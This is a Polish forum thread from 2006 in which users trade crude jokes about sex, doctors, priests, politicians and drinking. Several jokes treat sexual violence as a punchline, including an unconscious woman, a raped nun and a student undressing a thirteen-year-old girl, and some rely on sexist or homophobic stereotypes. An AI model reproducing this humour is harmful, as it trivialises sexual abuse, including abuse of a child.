Do działu rekrutacji w filharmonii zgłasza się pewien mężczyzna.
- Umie pan grać na jakimś instrumencie? - Pyta kadrowa.
- Nie.
- To po co mi pan głowę zawraca.
- Umiem wypierdzać z nut każdą melodię.
- Jak to?
- Proszę o jakieś nuty.
Kadrowa podaje mu parę arkuszy zapisanych nutkami. Facet przegląda je w
skupieniu i po chwili wypierduje melodyjkę. Kadrowa nie wie co zrobić więc
prosi gościa, by porozmawiał z dyrektorem. Rozmowa z dyrektorem ma podobny
charakter jak z kadrową. W końcu dyrektor pyta:
- A piątą symfonię Beethovena wypierdzi pan?
- Mogę zobaczyć nuty ?
- Proszę.
Mężczyzna studiuje nuty, w końcu mówi:
- Nie, niestety tego kawałka nie mogę zagrać.
- Dlaczego?
- Bo tu (pokazuje palcem grupę nut), tu i tu mogę się zesrać.

tsharny - 27-04-2006, 09:44

http://wiadomosci.onet.pl...9,kioskart.html
Remol - 27-04-2006, 11:25

rok 2011: lepper zostal prezydentem, polska opuscila UE, audycja poranna w radiu maryja:
7.00 : lepper wstaje, my tez wstajemy
7:05 : lepper sie gimnastykuje, my tez sie gimnastykujemy
7:15 : lepper je sniadanie, a my za ten czas posluchamy muzyki! :)

qdlaty - 27-04-2006, 17:02

Yesterday, scientists for Health Canada suggested that men should take a
look at their beer consumption, considering the results of a recent
analysis that revealed the presence of female hormones in beer. The theory is
that drinking beer makes men turn into women. To test the finding, 100 men
were fed 6 pints of beer each. It was then observed that 100% of the men
gained weight, talked excessively without making sense, became overly
emotional, couldn't drive, failed to think rationally, argued over nothing, and
refused to apologize when wrong.
No further testing is planned.

IRA - 27-04-2006, 17:48

> pogrzeb kardiologa
>
>
> Zmarł znany kardiolog i urządzono mu bardzo uroczysty pogrzeb.
> Podczas ceremonii za trumną ustawione było ogromne serce, całe
> pokryte kwiatami.
> Kiedy skończyły się przemówienia i modlitwy, serce otworzyło się i
> trumna wjechała do środka.
> Następnie piękne serce się zamknęło i tak ciało doktora pozostało w
> nim na zawsze.....
>
> W tym momencie ktoś z obecnych wybuchnął głośnym śmiechem.
> Wszystkie oczy zwróciły się na niego, więc powiedział:
> - Bardzo przepraszam, ale wyobraziłem sobie właśnie swój pogrzeb.
> Jestem ginekologiem.
>
> Proktolog zemdlał...

Dziubek - 27-04-2006, 17:59

Jakby się ktoś do Turcji wybierał;-)
Renurek - 27-04-2006, 19:57

Dziubek napisał/a:
Jakby się ktoś do Turcji wybierał;-)


No chyba się wybiorę! Ale koniecznie chcę łazienkę z przelotnym deszczem oraz miejsce z ciepłym powietrznym warunkiem i balkonem przez morze (żeby sobie zrobić hop prosto do morza i nie musieć korzystać ze zrzeszonego funduszu pływanie). :mrgreen:

malek - 27-04-2006, 20:37

Pijany student wraca do swego pokoju i widzi, że na jego łóżku leży pijana i zarzygana dziewczyna.

Szybkie dochodzenie wśród sąsiadów wykazało, że nie jest to gość żadnego z nich.

W związku z tym student rzucił z triumfem: "to ja sobie ją umyję i będzie moja".
---------------------------------------------------------------------------------------------------

Na ulicy spotyka się dwóch gejów:
- Co u ciebie? - pyta jeden
- Aj mówię ci, tak się zakochałem, że nie mam, kiedy się zesrać..
---------------------------------------------------------------------------------------------------


W mroźny, zimowy wieczór elegancko wyglądający gość w "średnim"wieku
poderwał w knajpie młodą laseczkę. Było to o tyle łatwe,ze
dziewczyna widziała przez okno jak facet wysiadał z nowiutkiego
Mercedesa 600.
Bez oporów więc przyjęła propozycję wspólnego spędzenia nocy.
Facet zabrał ją do swojej willi pod miastem. Płonący kominek,dobra whisky, kanapki z kawiorem, nastrojowa muzyka, słowem wszystko zbliżało ich coraz bardziej w stronę sypialni.
W pewnym momencie mężczyzna zaproponował przejażdżkę po pobliskim, zaśnieżonym lesie. Dziewczyna trochę niechętnie, ale jednak wyraziła zgodę. Zajechali Mercem na polanę w środku głuszy, facet wyjął z bagażnika sztucer, przeładował i powiedział:
- Rozbieraj się.
Dziewczyna trochę przestraszona sytuacja, a jeszcze bardziej 25 stopniowym mrozem, próbowała protestować, ale strzał w powietrze spowodował, że wykonała polecenie dość szybko. Gdy już goła stała boso na śniegu, gość rozkazał:
- Lep bałwana - i dla uniknięcia ewentualnych protestów znowu strzelił w powietrze ze sztucera. Dziewczyna rzuciła się toczyć śniegowe kule. Po 40 minutach na polanie stał bałwan jak malowany. Miał nawet śniegowe rączki i nosek z kawałka gałęzi. Za to laseczka była cała zdrętwiała z zimna. Klient schował sztucer, owinął ją grubym pledem i zabrał znowu do swojej willi. A tam kominek, kawior, gorący grog, nastrojowa muzyka. Gdy panna odzyskała mowę, pierwszą rzeczą jaką zrobiła, było wykrzyczane zapytanie:
- Co to wszystko miało znaczyć!!!!!?
- Widzisz, moja śliczna - odpowiedział spokojnie gość -Ja już jestem kiepski w łóżku. A dzięki temu bałwankowi mam pewność, że tę noc zapamiętasz do końca życia.

--------------------------------------------------------------------------------------------------------

W pewnym mieście powstał sklep, w którym każda kobieta mogła sobie kupić męża. Miął sześć pięter a jakość facetów rosła wraz z każdym piętrem. Był tylko jeden haczyk: jak już kobieta weszła na wyższe piętro nie mogła zejść niżej, no chyba, że prosto do wyjścia bez możliwości powrotu.
Wchodzi wiec tam sobie pewna babka poważnie zainteresowana kupnem męża. Na pierwszym piętrze wisiała tabliczka:
"Mężczyźni tutaj mają prace"
-To już coś, mój były nawet roboty nie miał- pomyślała kobieta-ale zobaczę, co jest wyżej.
Na drugim piętrze był napis:
"Mężczyźni tutaj mają prace i kochają dzieci"
-Miło, ale zobaczymy, co jest wyżej.
Na trzecim piętrze była tabliczka:
"Mężczyźni tutaj mają pracę, kochają dzieci i są niesamowicie przystojni"
-No coraz lepiej- pomyślała - ale wyżej to musi być już @#$%&.
Na czwartym piętrze można było przeczytać:
"Mężczyźni tutaj maja prace, kochają dzieci, są niesamowicie przystojni i pomagają przy pracach domowych"
-Słodko, słodko... Ale chyba wejdę piętro wyżej.
Na piątym piętrze stało:
"Mężczyźni tutaj mają pracę, kochają dzieci, są niesamowicie przystojni, pomagają przy pracach domowych i są diabelnie dobrzy w łóżku"
-No niesamowite, wręcz cudownie - pomyślała kobieta - ale jak tu jest tak wspaniale, to, co musi być piętro wyżej!?!
Na szóstym piętrze BARDZO zdziwiona kobieta przeczytała:
"Na tym piętrze nie ma żadnych facetów. Zostało ono stworzone tylko po to, aby udowodnić, że wam babom za cholerę nie można dogodzić..."

Marcin_alien - 28-04-2006, 11:27

Pralatowi Henrykowi ktos ukrads z klatki ptaszka. Podczas niedzielnej
mszy
pralat pyta parafian:
- Kto ma ptaszka?
Podnosi sie las meskich rak.
- Nie o to mi chodzi - mowi pralat. - Kto widzial ptaszka?
Podnosi sie las kobiecych rak.
Pralat wkurzony:
- Nie o to pytam! Kto widział mojego ptaszka?
Wszyscy ministranci podnosza rece

:alien:

tsharny - 28-04-2006, 11:58

hahaha :22:
leszeksz - 28-04-2006, 13:35

Kilka ostrych:

Sobota wieczór. Facet siedzi przed telewizorem z kuponem lotto w ręku. Ogląda losowanie. Pierwsza liczba zgadza się..., podobnie druga..., trzecia..., czwarta też się zgadza, piąta też..., przed szóstą facet zaciska zęby patrzy i... jest trafił szóstkę! Szczęśliwy krzyczy do żony:
- Zośka pakuj się!!!
Żona ucieszona pyta:
- Jezus! Józek, gdzie jedziemy Hawaje, Paryż?!
Józek:
- Nie gadaj tylko się pakuj!!
Zośka:
- Rany! Józek jaka jestem szczęśliwa ale powiedz gdzie jedziemy??!!
Józek:
- Pakuj się!!! i wypier.....!!!


Po bibce z ostrym popijaniem i "baletami", facet budzi się nad ranem w obcym łóżku. Obok niego śpi, paskudnie chrapiąc, obrzydliwe, grube babsko. Facet ostrożnie podnosi kołdrę i zamiera z obrzydzenia: wszystko ubabrane krwią... Rad, nierad, facet wstaje i wlecze się do łazienki.
Zapala światło, staje przed lustrem i z przerażeniem dostrzega wystający mu z ust, zaklinowany między zębami sznureczek. "O Boże", mamroce facet niewyraźnie, "zechciej tylko sprawić, żeby to była herbata ekspresowa!"


Pewna kobieta przechodziła obok domu publicznego, gdzie odbywała się wyprzedaż sprzętów. Kupiła papugę w klatce, przyniosła ją do domu. Klatka była przykryta płachtą, którą kobieta podniosła.
- O, nowy burdel, nowa burdel-mama - odzywa się papuga.
Kobieta szybko zakryła z powrotem klatkę płachtą. Po jakimś czasie ze szkoły przychodzą córki i dopominają się, aby im pokazać papugę. Matka postanawia zaryzykować i odkrywa klatkę:
- O, nowy burdel, nowa burdel-mama i nowe panienki...
Klatka zostaje z powrotem zakryta. Przychodzi z pracy mąż i też chce widzieć papugę. Kobieta postanawia dąć jej ostatnia szansę i odkrywa klatkę:
- O, nowy burdel, nowa burdel-mama, nowe panienki, tylko Zygmuś ten sam stary, wierny klient...

malek - 30-04-2006, 00:53
Temat postu: Ostatnia Wola Wuja Ryśka..
PADŁAM :-D :-D :-D


Policjant zatrzymuje dresiarza w BMW:
- Dokumenciki proszę.
- Nie mam dokumencików.
- Aha, bez dokumencików jeździmy?
- Ale tu mam zaświadczenie o skradzeniu dokumentów, mam jeszcze tydzień na wyrobienie nowych... - broni się dresiarz.
Policjant sprawdza, pieczęcie, podpisy wszystko się zgadza... Obchodzi samochód patrząc badawczo, uśmiecha się szeroko i mówi:
- No proszę, jeździmy auteczkiem na niemieckich numerach?
- A tak, proszę bardzo - mienie przesiedleńcze, mam jeszcze dwa tygodnie na zarejestrowanie - kierowca podaje policjantowi dokument.
Policjant sprawdza, pieczęcie, podpisy wszystko się zgadza... Poirytowany każe otworzyć bagażnik. W bagażniku trup.
- A to co!?
A to wujek Rysiek, proszę oto akt zgonu - podaje policjantowi dokument.
Policjant sprawdza, pieczęcie, podpisy wszystko się zgadza...
- No, akt zgonu w porządku ale tak nie wolno przewozić zwłok.
- Proszę, tu jest pozwolenie na transport zwłok, jutro pogrzeb w kaplicy Świętego Jana w Krakowie - dresiarz podaje policjantowi dokument.
Policjant sprawdza, pieczęcie, podpisy wszystko się zgadza... Zdesperowany zagląda do bagażnika, zauważa coś i pyta triumfalnie:
- A dlaczego denat ma lokówkę elektryczną w odbycie?!
Dresiarz podaje mu dokument:
- Proszę bardzo: Ostatnia Wola Wuja Ryśka..

IRA - 30-04-2006, 02:46

Motocyklista jadący z prędkością 230 km/h zobaczył przed sobą
małego wróbelka na wysokości twarzy.
Starał się jak mógł żeby go ominąć, ale przy tej prędkości nic się nie dało zrobić.
uderzony ptak przekoziołkował i upadł na asfalt.
Motocyklista, mając wyrzuty sumienia, zatrzymał się i wrócił po ptaka.
Ponieważ wyglądało na to, że wróbelek żyje, zabrał go z asfaltu.
W domu umieścił go w klatce, włożył do niej trochę jakiegoś pożywienia i wodę w miseczce
Rano wróbelek ocknął się popatrzył na wodę, popatrzył na jedzenie
popatrzył na pręty klatki przed sobą i mówi:
O urwa! Zabiłem motocyklistę!



Komisja wojskowa - Nowak!
Jestem!
Majtki w dół i pochylić się!
Rekrut posłusznie pochylił się i czeka.
Lekarz katem oka zerknął i dalej wypełnia formularz
Podnieście jajka!
Poborowy pochylony, zacisnął zęby, poczerwieniał,
z pod ściany doszedł go delikatny chichot siedzących pielęgniarek.
Jajka podnieście!
Zacisną pięści, aż kłykcie pobielały, zsiniał z wysiłku, i ciężko począł oddychać.
Nie mogę! ? wycharczał ostatkiem sił.
Lekarz popatrzył zza okularów
RĘKOMA!


kobitka myje podloge,na kolanach,pupa w gorze maz podbiega do niej sciaga jej majtki i dawaj-przelecial zone skonczyl wstal a zona do niego -Nie no ty to taki sam poje...any jestes jak chlopaki w pracy


Blondynka rozpoczęła prace jako szkolny psycholog
zaraz pierwszego dnia zauważyła chłopca
który nie biegał po boisku razem z innymi chłopcami tylko stal samotnie
Podeszła do niego i pyta: dobrze sie czujesz?
Dobrze to dlaczego nie biegasz razem z innymi chłopcami?
Bo jestem bramkarzem



Praktykant pyta ordynatora szpitala:
Co mam wpisać w rubryce "przyczyna zgonu" ?
Swoje nazwisko!


Barman opieprza kelnera:
Kiedy wreszcie przestaniesz wyrzucać pijanych klientów na zewnątrz??
Przecież nawalonych się wyrzuca z lokalu
Ale k**wa nie w "WARSIE"!!!



Zgubiono czarną dyplomatkę.
Uczciwego znalazcę prosimy o odprowadzenie tej alkoholiczki do ambasady Czadu.



Ojciec po długiej i dość jednostronnej dyskusji z teściową
kieruje prośbę do syna.
Jasiu przynieś, proszę, babci krem do ust.
Tato - pyta syn - a który to jest ?
Ten z napisem "Kropelka" - odpowiada poirytowany ojciec.


Była sobie zakochana para.
Już się mieli pobierać, ale w przeddzień ślubu zginęli w wypadku.
Trafili do nieba i po kilku tygodniach stwierdzili, ze nie sa do końca szczęśliwi.
Narzeczony poszedł wiec do Świętego Piotra.
Piotrze mówi, fajnie nam się tu u was mieszka, ale przykro nam
że przed śmiercią nie zdążyliśmy wziąć ślubu.
Możemy pobrać się w niebie?
Piotr na to Sorry, ale nie wiem - nikt tu się nie żenił.
Idź z tym do Boga, umowie cię.
Stanął wiec narzeczony przed Bogiem i pyta o ślub, a Bóg na to:
Przyjdź za pięć lat, zobaczymy.
Minęło pięć lat. Chłopak znowu prosi Boga, a Najwyższy rzecze:
Jeszcze raz dokładnie przemyśl całą sprawę.
Masz na to pięć dodatkowych lat.
Biedak zmartwił się, ale z Bogiem nie ma dyskusji.
Przychodzi po pięciu latach. Bóg od razu go poznał:
Tak, możecie wziąć ślub: sobota, godzina 14, w kaplicy głównej.
Minęły dwa tygodnie i pan młody znów puka do Boga:
Boże, chcemy rozwodu, nie możemy ze sobą już wytrzymać.
Kiedy Bóg to usłyszał, złapał się za głowę i mówi:
Słuchaj, bracie! Dziesięć lat zajęło nam znalezienie w niebie księdza.
Czy ty wiesz, ile będziemy szukać prawnika?



Psycholog do klienta:
Muszę pana zmartwić. Pan nie ma kompleksów, pan naprawdę jest głupi.


Wiezie taksówkarz kobietę. Na zakończenie kursu okazuje się, że ta nie ma kasy.
Wiec taksówkarz zawraca, jedzie za miasto na piękna, zieloną łączkę.
Zatrzymuje się, otwiera bagażnik, wyciąga koc i kładzie na trawę.
Kobieta: ale proszę pana, ja na pewno oddam panu pieniądze, proszę nic mi nie robić,
mam dzieci i męża a ja 40 królików - rwij urwa trawę!


Podczas klasówki nauczyciel mówi: wydaje mi się, że słyszę jakieś głosy - głos z sali: mnie też, ale się leczę.

malek - 03-05-2006, 18:15

Nauczyciel opowiada klasie o małpach. Dostrzega, że mała Zuzia nie słucha.
Zwraca więc jej uwagę:
- Zuziu! Słuchaj uważnie i patrz na mnie, bo nie będziesz wiedziała jak wygląda małpa.
..........................
Późny wieczór. Nowakowie przyłapali syna, jak wymykał się z domu z wielką latarką w dłoni.
- Dokąd to?! - pytają.
- Na randkę - przyznał syn.
- Jak ja chodziłem na randki, to nie potrzebowałem latarki - zakpił ojciec.
- No i popatrz, na co trafiłeś..
.........................
A oto pozycje które są do wypożyczenia z serii NAJCIEŃSZE KSIĄŻKI ŚWIATA:
"Co mężczyźni wiedzą o kobietach."
"Co kobiety wiedzą o mężczyznach."
"Przewodnik po demokracji w krajach arabskich."
"Kultura polityczna." A. Lepper
"Dozwolone przez Watykan środki antykoncepcyjne."
"Lubiani prawnicy."
"Mieć czyste ręce" - praca zbiorowa pod red. Prezesa Rady Ministrów
"Książka telefoniczna Amiszów"
"Dominacja na świecie na przykładzie Bułgarii."
"Etykieta randkowa." M. Tyson
"Szczegółowy opis francuskiej gościnności."
"Kariera Piosenkarki - Supergwiazdy" M. Sewiołło
.........................

Trzej panowie w bardzo podeszłym wieku rozmawiali o "wymarzonym" sposobie zejścia z tego świata...
- Chciałbym, żeby to była szaleńcza jazda na motocyklu...
- Ja wolałbym roztrzaskać się w pędzącym z naddźwiękową prędkością odrzutowcu...
- Eeee... ja to bym wolał żeby mnie zastrzelił zazdrosny mąż... przyłapawszy na gorącym uczynku...
.........................
Idzie osiemdziesięciopięcioletni dziadek przez las a tu nagle widzi żaba skacze. Bierze ją do ręki a ta do niego mówi:
- Pocałuj mnie! Zmienię się w cudowną królewnę, będę śliczna, uległa i zawsze Ci będę wierną!
Dziadek wziął żabę schował do kieszeni i idzie dalej. Po chwili z kieszeni znowu odzywa się żaba.
- Pocałuj mnie! Zmienię się w cudowną królewnę, będę śliczna, uległa i zawsze Ci będę wierną!
Dziadek na to odpowiada:
- W tym wieku to ja wolę mieć gadającą żabę.
........................
Skin zauważa nad brzegiem rzeki wędkarza łowiącego ryby.
Myśli: zapytam go, czy biorą. Jak powie, że biorą, powiem, że takiemu debilowi to zawsze biorą. Jak powie, że nie biorą powiem, że takiemu debilowi nie zawsze biorą.
- Jak tam, panie wędkarz? Biorą ryby?
- Spadaj, debilu!
......................
W klasztorze nagle otwierają się drzwi i wpada do środka młoda zakonnica. Biegnie prosto do matki przełożonej:
- Matko przełożona, matko przełożona, zgwałcili mnie, co robić?
- Zjeść cytrynę - odpowiada matka przełożona.
- Pomoże?
- Pomoże, nie pomoże... Ale przynajmniej ten uśmiech zniknie.
....................
Przychodzi baba do lekarza.
- Panie doktorze, niech pani coś przepisze mojemu mężowi na potencję.
Lekarz napisał receptę i mówi:
- Niech pani to lekarstwo doda mężowi do jakiegoś napoju. I proszę się zjawić za tydzień.
Po tygodniu:
- No i jak było?
- Panie doktorze... wspaniale! Rzucił się na mnie, rozebrał i kochaliśmy się cztery godziny...
- No to fantastycznie!
- Ale w tym McDonaldzie to ja się więcej nie pokażę...
.....................
Przychodzi krowa do lekarza i cały czas się śmieje:
- Co Pani jest? - pyta lekarz.
- Zawsze jestem taka po trawie - odpowiada krowa.
...................
Jak wiadomo każdy polski mężczyzna musi zrobić w życiu trzy rzeczy:
- Spłodzić Syna
- Zbudować Dom
- Zasadzić Drzewo
Natomiast każdy Chińczyk musi zrobić w życiu trzy rzeczy:
- Buty
- Dżinsy
- Magnetofon
....................
Idzie dwóch staruszków do domu publicznego:
- Kaziu, a co będzie jak nas nie wpuszczą?
- Ty się lepiej zastanów, co będzie jak nas wpuszczą...
..................
Pewna żwawa, 80-letnia staruszka wchodzi do apteki:
- Czy ma pan środki przeciwbólowe?
- Tak, proszę pani.
- Czy ma pan leki na reumatyzm?
- Tak, proszę pani.
- Czy ma pan viagrę?
- Tak, proszę pani.
- Czy ma pan maść na hemoroidy?
- Tak, proszę pani.
- Czy ma pan leki na serce?
- Tak, proszę pani.
- Czy ma pan leki wspomagające pamięć?
- Taaak, proszę pani...
- Czy ma pan pieluchy dla dorosłych?
- Taaak, proszę pani...
- Czy ma pan....
- Niech pani przestanie, jest pani przecież w aptece, mamy tu wszystkie potrzebne środki. Co pani potrzebuje?
- Pod koniec miesiąca wychodzę za mąż za mojego długoletniego przyjaciela Leona. On ma 95 lat. Chciałabym po prostu wiedzieć, czy możemy u pana zostawić listę prezentów.
............................
Dwóch kumpli ginie w wypadku samochodowym, jeden z nich idzie do nieba drugi do piekła, spotykają się po paru miesiącach, rozmawiają:
Ten z nieba: No jak ci tam w piekle kochany kolego!
Ten z piekła: Słuchaj mam już dość! Codziennie balangi, kobiety, orgie,
alkohol. Nie mam już sił!! A tobie jak tam kochany w niebie?
Ten z nieba: Praca, praca, praca i jeszcze raz praca.
Ten z piekła: ty, a co wy tak pracujecie?
Ten z nieba: Mało ludzi kochany, mało ludzi!!!!!!!!!!
........................

16 pytań LUDZKOŚCI
1. Dlaczego slonce przyciemnia ludziom skóre, a rozjaśnia wlosy?
2. Dlaczego kobiety nie mogą umalowac oczu z zamknietymi ustami?
3. Dlaczego nie ma takich tytulów w gazetach "Wrózka wygrala w totka"?
4. Dlaczego, zeby skonczyc prace w Windows trzeba nacisnac na "Start"?
5. Dlaczego sok cytrynowy jest robiony z koncentratu, a plyn do mycia naczyn z prawdziwej cytryny?
6. Dlaczego czlowiek, który inwestuje wasze pieniadze nazywa sie niszczyciel (broker)?
7. Dlaczego nie ma pokarmu dla kotów o smaku myszy?
8. Dlaczego Noe nie zabil tych 2 komarów?
9. Po co jest sterylizowana igla przy wykonaniu kary smierci przez zastrzyk?
10. Dlaczego samoloty nie sa robione z tego samego materialu, co czarne skrzynki?
11. Skoro do teflonu sie nic nie przykleja, to jak przyklejono teflon do patelni?
12. Dlaczego kamikadze nakładaja kaski?
13. Jaki jest synonim slowa "synonim"?
14. Skoro Superman jest taki madry, to dlaczego zaklada majtki na spodnie?
15. Dlaczego w lodówce jest swiatlo a w zamrazalniku nie?
16. Kaczor Donald zawsze chodzi bez dolnej czesci garderoby, dlaczego wiec jezeli wychodzi spod prysznica to jest zakryty recznikiem?
.............................
Lekarz do pacjenta:
- Przykro mi, ale do końca życia zostało panu tylko 10...
-10 czego?- pyta zdenerwowany pacjent-10 lat, 10 miesięcy?
Na to lekarz:
- 9, 8, 7...
............................
Krótki Kurs Spławiania Frajerów (dla Pań):
ON: Jestem fotografem. Szukałem takiej twarzy, jak twoja.
ONA: Jestem chirurgiem plastycznym. Szukałam takiej twarzy, jak twoja.

ON: Cześć! My się znamy! Byliśmy raz czy dwa na randce...
ONA: To musiało być raz - nigdy nie popełniam dwa razy tego samego błędu.

ON: Myślę, że mógłbym cię uszczęśliwić.
ONA: A co? Wychodzisz?

ON: Co byś powiedziała, gdybym poprosił cię o rękę?
ONA: Nic. Nie umiem równocześnie mówić i śmiać się.

ON: Czy mógłbym dostać twój numer telefonu?
ONA: Czemu? Nie masz własnego?

ON: Nie sądzisz, że to przeznaczenie zetknęło nas ze sobą?
ONA: Nie, to był zwykły pech!

ON: Gdzie byłaś przez całe moje życie?
ONA: Chowałam się przed tobą.

ON: Czy my się już gdzieś nie widzieliśmy?
ONA: Tak, dlatego już tam nie chodzę...

ON: Dla ciebie poszedłbym na koniec świata!
ONA: A zostałbyś tam?

ON: Gdybym zobaczył cię nagą - pewnie umarłbym ze szczęścia...
ONA: Gdybym zobaczyła cię nago - umarłabym ze śmiechu.
.........................
Baba w sklepie pyta się:
- Przepraszam, czy mogę przymierzyć tę sukienkę na wystawie?
Na to sprzedawczyni:
- Bardzo proszę ale mamy też przymierzalnię.
...................
Dwie zakonnice jadą samochodem. Zabrakło im benzyny. Jedna z sióstr postanowiła iść na stację benzynową i wzięła ze sobą jedyne naczynie jakie było dostępne - nocnik. Wróciła i z tego nocnika wlewa benzynę do baku.
Obok samochodem przejeżdżają dwaj księża. Jeden mówi do drugiego:
- Siła ich wiary rzuca mnie na kolana...
.......................
Młody nauczyciel i stary idą razem na lekcję. Młody - stosy kserówek, teka wypchana książkami, dziennik w zębach. Stary idzie na luzaka, niesie tylko klucz od sali.
Młody mówi z podziwem:
- No no, po tylu latach pracy, to pan ma to wszystko w głowie?
- Nie synu, w dupie...
...................
Dentysta schyla się nad pacjentem i ma zamiar rozpocząć borowanie, nagle zastyga w bezruchu i pyta nieufnie:
- Czy mi się to tylko wydaje, czy też trzyma pan rękę na moich jądrach?
Pacjent:
- To tylko taka mała asekuracja. Bo przecież nie chodzi o to, żebyśmy sobie zadawali ból, prawda?
......................
Sukcesem jest:
- w wieku 4 lat: nie sikać w majtki
- w wieku 12 lat: mieć przyjaciół
- w wieku 16 lat: posiadać prawo jazdy
- w wieku 19 lat: uprawiać seks
- w wieku 35 lat: zarabiać dużo pieniędzy
- w wieku 60 lat: uprawiać seks
- w wieku 70 lat: posiadać prawo jazdy
- w wieku 75 lat: mieć przyjaciół
- w wieku 80 lat: nie sikać w majtki
...................
Do agencji towarzyskiej przyszedł facet. Zamówił panienkę i spędził z nią fantastyczną noc. Rano idzie do szefowej uregulować należność.
- Ile się należy? - pyta.
- Nic... Był pan świetny!
- Co? Cała noc seksu z rewelacyjną dziewczyną i nic nie płacę?
- Nic. Proszę, to jeszcze dla pana - szefowa podaje mu 200 złotych.
Faceta zamurowało. Nie dość, że poużywał w najlepsze, to jeszcze dostał dwie stówy. Tego samego dnia opowiedział o wszystkim koledze, więc on też postanowił odwiedzić agencję. On też spędził fantastyczną noc z panienką, rano idzie do szefowej i pyta:
- Ile się należy?
- Nic, był pan świetny - mówi szefowa i wręcza mu 50 złotych.
- Dziękuję - mówi facet. - Nie dość, że było fajnie, to jeszcze dostaję kasę.
Wie pani co? Mam pytanie. Dlaczego dostałem 50 złotych, a mój kolega wczoraj dostał za to samo 200?
- Wczoraj wszystko szło na satelitę, a dziś tylko na kablówkę.
......................
Między przyjaciółkami:
- Muszę teraz szczególnie uważać, żeby nie zajść w ciążę.
- Jak to? Przecież wyznałaś mi niedawno, że twój mąż nie może mieć dzieci.
- No właśnie!
.................
Student poderwal panienke na dyskotece, wyrwal do domu, rozbiera.
Wszystko szlo dobrze ale raptem zaskoczony widokiem pyta:
- Ile ty masz lat ?
- Trzynascie.
- No to dalej, jazda, ubieraj sie i zmykaj do domu !
Na to nie zrazona malolata odpowiada:
- A cos ty taki przesądny ?
.....................
Wchodzi pielegniarz na reanimacje i mówi do pacjenta:
- Niech sie pan porzadnie zaciagnie bede zmienial butle...
.......................
Mężczyzna odkrył broń, wynalazł polowanie.
Kobieta odkryła polowanie, wynalazła futra.
Mężczyzna odkrył kolory, wynalazł malowanie.
Kobieta odkryła malarstwo, wynalazła makijaż.
Mężczyzna odkrył mowę, wynalazł konwersację.
Kobieta odkryła konwersację, wynalazła plotkę.
Mężczyzna odkrył rolnictwo, wynalazł jedzenie.
Kobieta odkryła jedzenie, wynalazła dietę.
Mężczyzna odkrył handel, wynalazł pieniądze.
Kobieta odkryła pieniądze, i to zrujnowało mężczyznę.
.................
Noc poślubna. Pan młody chodzi po sypialni i co chwila odsłania zasłony i spogląda przez okno. Panna młoda czeka w łóżku w bardzo zachęcającej pozie. W końcu pyta zniecierpliwiona:
- Czego ty tam szukasz...? Nooo... chooodź tu do mmnnie...
- Mówią... - odpowiada Młody - ...że noc poślubna taka piękna a tu leje i leje...
..............
Włochy, Sycylia. Mała dziewczynka przychodzi na pierwsza lekcję gry na skrzypcach.
- A co to jest? - pyta zaskoczony profesor na widok karabinu maszynowego w futerale.
- Ojej! - woła zmartwiona uczennica. - A to się tatuś zdziwi. Dzisiaj z kolegami miał się wybrać do banku ...
......................
Prezes firmy wzywa szefa działu public relations:
- Słuchaj - mówi.
- Mamy kiepskie notowania w prasie, wymyśl coś. Ma być tanio, ale tak, żeby wszystkie media o tym mówiły i żeby pracownicy też byli zadowoleni. Facet chwilę się zastanawia...
- Mam! - mówi po chwili.
- Najlepiej by było, gdyby pan się powiesił:
sznurek tani, wszystkie media napiszą, a i załoga się ucieszy.
................
- A ty czemu dzisiaj nic nie robisz? - pyta murarz swego pomocnika.
- Ręce mi drżą po wczorajszym...
- No to przesiewaj piasek
.....................
Mąż wraca pijany z knajpy dwie godziny później niż zwykle.
- Co, knajpę przesunęli dalej?- ironizuje żona.
- Nie- bełkocze małżonek.- Poszerzyli ulicę.
.................
Do lokalu, gdzie przebywają sami mężczyźni, wchodzi stara, brzydka "burdel mama" z papugą na ramieniu i mówi:
- Kto zgadnie, co to za ptak, ma ze mną "numerek" gratis!
W lokalu zapanowała totalna cisza. Nikt się nie odzywa. Po dłuższej chwili
z końca sali słychać:
- Aligator?
Na to "burdel mama":
- Hm... jestem skłonna uznać tą odpowiedź...
....................
Mąż dowiaduje się o zdradzie żony. Wpada do domu i na jej widok krzyczy:
- Wiem wszystko!
- Przesadzasz - odpowiada żona - A w którym roku była bitwa pod Cedynią?
.......................
Wraca dziadek od lekarza i mówi do babcii:
- Wiesz, stara, to, co braliśmy za orgazm, to była astma...
......................
Rozmowa pary pijaczkow:
- Zocha, napijesz sie wina?
- Heniek, przeciez wiesz, ze z gwinta nie pije!
- I za to cie Zocha szanuje!
.......................
Po mszy w niedzielę proboszcz podchodzi do miejskiego pijaka i mówi:
- Cieszę się synu, że byłeś na wczorajszej mszy wieczornej.
-Taak? To tam też byłem?
..................
Studentki zglosily zepsute umywalki. Pan wozny tego akademika przez radiowezel:
- Panie ktore maja zatkane, niech zejda na dol. Ten facet juz czeka.
..................
Ludeżercy segregują złapanych białych:
- Zdrowy?
- Zdrowy.
- Na mięso. Następny. Zdrowy?
- Zdrowy.
- Na mięso. Następny. Zdrowy?
- Chory.
- A na co?
- Na cukrzycę.
- Na kompot
..................
- Jasiu - mówi mama przy śniadaniu - zjedz chlebek.
- Ale, ja nie lubię chlebka!
- Musisz jeść chlebek, żebyś był duży i silny.
- A po co mam być duży i silny?
- Żebyś mógł pracować i zarabiać na chlebek.
- Ale, ja nie lubię chlebka!

Efraim Ryba - 04-05-2006, 13:38

Złapał Wołodia złotą rybkę.
- Wypuść mnie dobry człowieku, a spełnię twoje trzy życzenia.
- Dobrze. Po pierwsze: daj mi władzę, ale nie taką jak ma nasz prezydent czy szef FSB, tylko większą i nie tutaj w Rosji bo za dużo zawistników i zaraz by zabójców nasłali. Po drugie: dużo pieniędzy, ale nie dużo na raz bo się rozejdą, tylko niech te pieniążki sobie do mnie stopniowo spływają, tak żeby zawsze były. Po trzecie: chcę żeby mnóstwo kobiet się we mnie kochało, tak żebym mógł sobie w nich wybierać.
- Dobrze. Zaszumiało, zahuczało i się stało. Patrzy Wołodia, a tu, siedzi w wygodnym fotelu przy ogromnym biurku, a przed nim cała góra listów. Wygląda za okno, a tu, i ulice inne i rejestracje samochodów inne i napisy na budynkach nie w cyrylicy.
Myśli sobie: "No sprawiła się rybeńka, dotrzymała słowa. Ale kim ona mnie zrobiła?" Spojrzał Wołodia po sobie, ubranie z materiału w najlepszym gatunku, zegarek na ręce też niczego sobie, nie jakieś elektroniczne byle co. Porządny zegarek od razu widać. Tylko kołnierzyk jakby ciśnie.
